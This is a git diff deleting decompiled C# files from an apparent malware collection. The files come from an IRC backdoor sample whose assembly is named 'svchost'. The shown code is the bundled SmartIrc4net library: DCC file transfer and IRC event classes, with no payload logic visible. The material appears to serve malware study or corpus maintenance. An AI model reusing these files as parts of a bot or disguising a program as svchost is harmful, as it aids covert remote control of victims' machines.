-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.IO;
-using System.Net;
-using System.Net.Sockets;
-using System.Threading;
-
-namespace Meebey.SmartIrc4net
-{
- public class DccSend : DccConnection
- {
- private Stream _File;
- private long _Filesize;
- private string _Filename;
- private bool _DirectionUp;
- private long _SentBytes;
- private DccSpeed _Speed;
- private byte[] _Buffer = new byte[8192];
-
- public long SentBytes => this._SentBytes;
-
- internal DccSend(
- IrcFeatures irc,
- string user,
- IPAddress externalIpAdress,
- Stream file,
- string filename,
- long filesize,
- DccSpeed speed,
- bool passive,
- Priority priority)
- {
- this.Irc = irc;
- this._DirectionUp = true;
- this._File = file;
- this._Filesize = filesize;
- this._Filename = filename;
- this._Speed = speed;
- this.User = user;
- if (passive)
- {
- irc.SendMessage(SendType.CtcpRequest, user, "DCC SEND \"" + filename + "\" " + this.HostToDccInt(externalIpAdress).ToString() + " 0 " + (object) filesize + " " + (object) this.session, priority);
- }
- else
- {
- this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
- this.DccServer.Start();
- this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
- irc.SendMessage(SendType.CtcpRequest, user, "DCC SEND \"" + filename + "\" " + this.HostToDccInt(externalIpAdress).ToString() + " " + (object) this.LocalEndPoint.Port + " " + (object) filesize, priority);
- }
- }
-
- internal DccSend(IrcFeatures irc, IPAddress externalIpAdress, CtcpEventArgs e)
- {
- this.Irc = irc;
- this._DirectionUp = false;
- this.User = e.Data.Nick;
- if (e.Data.MessageArray.Length > 4)
- {
- long result1 = 0;
- int result2 = 0;
- long result3;
- bool flag1 = long.TryParse(e.Data.MessageArray[3], out result3);
- bool flag2 = int.TryParse(e.Data.MessageArray[4], out result2);
- if (e.Data.MessageArray.Length > 5)
- {
- long.TryParse(this.FilterMarker(e.Data.MessageArray[5]), out result1);
- this._Filesize = result1;
- this._Filename = e.Data.MessageArray[2].Trim('"');
- }
- if (flag1 && flag2)
- {
- this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result3)), result2);
- this.DccSendRequestEvent(new DccSendRequestEventArgs((DccConnection) this, e.Data.MessageArray[2], result1));
- }
- else
- irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Send Parameter Error");
- }
- else
- irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Send not enough parameters");
- }
-
- internal override void InitWork(object stateInfo)
- {
- if (!this.Valid)
- return;
- if (this.DccServer != null)
- {
- this.Connection = this.DccServer.AcceptTcpClient();
- this.RemoteEndPoint = (IPEndPoint) this.Connection.Client.RemoteEndPoint;
- this.DccServer.Stop();
- this.isConnected = true;
- }
- else
- {
- while (!this.isConnected)
- {
- Thread.Sleep(500);
- if (this.reject)
- return;
- }
- }
- this.DccSendStartEvent(new DccEventArgs((DccConnection) this));
- if (this._DirectionUp)
- {
- int num;
- do
- {
- while (this.Connection.Available > 0)
- {
- switch (this._Speed)
- {
- case DccSpeed.Rfc:
- this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length);
- continue;
- case DccSpeed.RfcSendAhead:
- this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length);
- continue;
- default:
- continue;
- }
- }
- num = this._File.Read(this._Buffer, 0, this._Buffer.Length);
- try
- {
- this.Connection.GetStream().Write(this._Buffer, 0, num);
- }
- catch (IOException ex)
- {
- num = 0;
- }
- this._SentBytes += (long) num;
- if (num > 0)
- {
- this.DccSendSentBlockEvent(new DccSendEventArgs((DccConnection) this, this._Buffer, num));
- Console.Write(".");
- }
- }
- while (num > 0);
- }
- else
- {
- int num;
- while ((num = this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length)) > 0)
- {
- this._File.Write(this._Buffer, 0, num);
- this._SentBytes += (long) num;
- if (this._Speed != DccSpeed.Turbo)
- this.Connection.GetStream().Write(this.getAck(this._SentBytes), 0, 4);
- this.DccSendReceiveBlockEvent(new DccSendEventArgs((DccConnection) this, this._Buffer, num));
- }
- }
- this.isValid = false;
- this.isConnected = false;
- Console.WriteLine("--> Filetrangsfer Endet / Bytes sent: " + (object) this._SentBytes + " of " + (object) this._Filesize);
- this.DccSendStopEvent(new DccEventArgs((DccConnection) this));
- }
-
- public bool AcceptRequest(Stream file, long offset)
- {
- if (this.isConnected)
- return false;
- try
- {
- if (file != null)
- this._File = file;
- if (this.RemoteEndPoint.Port == 0)
- {
- this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
- this.DccServer.Start();
- this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
- this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC SEND \"" + this._Filename + "\" " + this.HostToDccInt(this.ExternalIPAdress).ToString() + " " + (object) this.LocalEndPoint.Port + " " + (object) this._Filesize);
- }
- else if (offset == 0L)
- {
- this.Connection = new TcpClient();
- this.Connection.Connect(this.RemoteEndPoint);
- this.isConnected = true;
- }
- else if (this._File.CanSeek)
- {
- this._File.Seek(offset, SeekOrigin.Begin);
- this._SentBytes = offset;
- this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC RESUME \"" + this._Filename + "\" " + (object) this.RemoteEndPoint.Port + " " + (object) offset);
- }
- else
- {
- this._SentBytes = offset;
- this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC RESUME \"" + this._Filename + "\" " + (object) this.RemoteEndPoint.Port + " " + (object) offset);
- }
- return true;
- }
- catch (Exception ex)
- {
- this.isValid = false;
- this.isConnected = false;
- return false;
- }
- }
-
- internal bool TryResume(CtcpEventArgs e)
- {
- if (this.User == e.Data.Nick && e.Data.MessageArray.Length > 4)
- {
- if (this._Filename == e.Data.MessageArray[2].Trim('"'))
- {
- long result = 0;
- long.TryParse(this.FilterMarker(e.Data.MessageArray[4]), out result);
- if (this._File.CanSeek)
- {
- if (e.Data.MessageArray.Length > 5)
- this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "DCC ACCEPT " + e.Data.MessageArray[2] + " " + e.Data.MessageArray[3] + " " + e.Data.MessageArray[4] + " " + this.FilterMarker(e.Data.MessageArray[5]));
- else
- this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "DCC ACCEPT " + e.Data.MessageArray[2] + " " + e.Data.MessageArray[3] + " " + this.FilterMarker(e.Data.MessageArray[4]));
- this._File.Seek(result, SeekOrigin.Begin);
- this._SentBytes = result;
- return true;
- }
- this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "ERRMSG DCC File not seekable");
- }
- }
- return false;
- }
-
- internal bool TryAccept(CtcpEventArgs e)
- {
- if (this.User == e.Data.Nick && e.Data.MessageArray.Length > 4)
- {
- if (this._Filename == e.Data.MessageArray[2].Trim('"'))
- return this.AcceptRequest((Stream) null, 0L);
- }
- return false;
- }
-
- internal bool SetRemote(CtcpEventArgs e)
- {
- int result1 = 0;
- long result2;
- bool flag1 = long.TryParse(e.Data.MessageArray[3], out result2);
- bool flag2 = int.TryParse(e.Data.MessageArray[4], out result1);
- if (!flag1 || !flag2)
- return false;
- this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result2)), result1);
- return true;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendEventArgs.cs
deleted file mode 100644
index bbfb3c05..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendEventArgs.cs
+++ /dev/null
@@ -1,25 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DccSendEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class DccSendEventArgs : DccEventArgs
- {
- private byte[] _Package;
- private int _PackageSize;
-
- public byte[] Package => this._Package;
-
- public int PackageSize => this._PackageSize;
-
- internal DccSendEventArgs(DccConnection dcc, byte[] package, int packageSize)
- : base(dcc)
- {
- this._Package = package;
- this._PackageSize = packageSize;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendPacketHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendPacketHandler.cs
deleted file mode 100644
index ebac94c3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendPacketHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DccSendPacketHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void DccSendPacketHandler(object sender, DccSendEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendRequestEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendRequestEventArgs.cs
deleted file mode 100644
index eeea5d5b..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendRequestEventArgs.cs
+++ /dev/null
@@ -1,25 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DccSendRequestEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class DccSendRequestEventArgs : DccEventArgs
- {
- private string _Filename;
- private long _Filesize;
-
- public string Filename => this._Filename;
-
- public long Filesize => this._Filesize;
-
- internal DccSendRequestEventArgs(DccConnection dcc, string filename, long filesize)
- : base(dcc)
- {
- this._Filename = filename;
- this._Filesize = filesize;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendRequestHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendRequestHandler.cs
deleted file mode 100644
index 486c6155..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendRequestHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DccSendRequestHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void DccSendRequestHandler(object sender, DccSendRequestEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSpeed.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSpeed.cs
deleted file mode 100644
index 906cb252..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSpeed.cs
+++ /dev/null
@@ -1,15 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DccSpeed
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public enum DccSpeed
- {
- Rfc,
- RfcSendAhead,
- Turbo,
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DehalfopEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DehalfopEventArgs.cs
deleted file mode 100644
index 3de5698f..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DehalfopEventArgs.cs
+++ /dev/null
@@ -1,29 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DehalfopEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class DehalfopEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
- private string _Whom;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- public string Whom => this._Whom;
-
- internal DehalfopEventArgs(IrcMessageData data, string channel, string who, string whom)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- this._Whom = whom;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DehalfopEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DehalfopEventHandler.cs
deleted file mode 100644
index bae02ee8..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DehalfopEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DehalfopEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void DehalfopEventHandler(object sender, DehalfopEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DeopEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DeopEventArgs.cs
deleted file mode 100644
index f9861d0e..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DeopEventArgs.cs
+++ /dev/null
@@ -1,29 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DeopEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class DeopEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
- private string _Whom;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- public string Whom => this._Whom;
-
- internal DeopEventArgs(IrcMessageData data, string channel, string who, string whom)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- this._Whom = whom;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DeopEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DeopEventHandler.cs
deleted file mode 100644
index c54b5e8e..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DeopEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DeopEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void DeopEventHandler(object sender, DeopEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DevoiceEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DevoiceEventArgs.cs
deleted file mode 100644
index 15d50b69..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DevoiceEventArgs.cs
+++ /dev/null
@@ -1,29 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DevoiceEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class DevoiceEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
- private string _Whom;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- public string Whom => this._Whom;
-
- internal DevoiceEventArgs(IrcMessageData data, string channel, string who, string whom)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- this._Whom = whom;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DevoiceEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DevoiceEventHandler.cs
deleted file mode 100644
index b75ad1c6..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DevoiceEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DevoiceEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void DevoiceEventHandler(object sender, DevoiceEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ErrorEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ErrorEventArgs.cs
deleted file mode 100644
index ae1c9f80..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ErrorEventArgs.cs
+++ /dev/null
@@ -1,21 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ErrorEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class ErrorEventArgs : IrcEventArgs
- {
- private string _ErrorMessage;
-
- public string ErrorMessage => this._ErrorMessage;
-
- internal ErrorEventArgs(IrcMessageData data, string errormsg)
- : base(data)
- {
- this._ErrorMessage = errormsg;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ErrorEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ErrorEventHandler.cs
deleted file mode 100644
index 5ed2fafb..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ErrorEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ErrorEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void ErrorEventHandler(object sender, ErrorEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/HalfopEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/HalfopEventArgs.cs
deleted file mode 100644
index 0308ee49..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/HalfopEventArgs.cs
+++ /dev/null
@@ -1,29 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.HalfopEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class HalfopEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
- private string _Whom;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- public string Whom => this._Whom;
-
- internal HalfopEventArgs(IrcMessageData data, string channel, string who, string whom)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- this._Whom = whom;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/HalfopEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/HalfopEventHandler.cs
deleted file mode 100644
index 43f52f56..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/HalfopEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.HalfopEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void HalfopEventHandler(object sender, HalfopEventArgs e);
-}
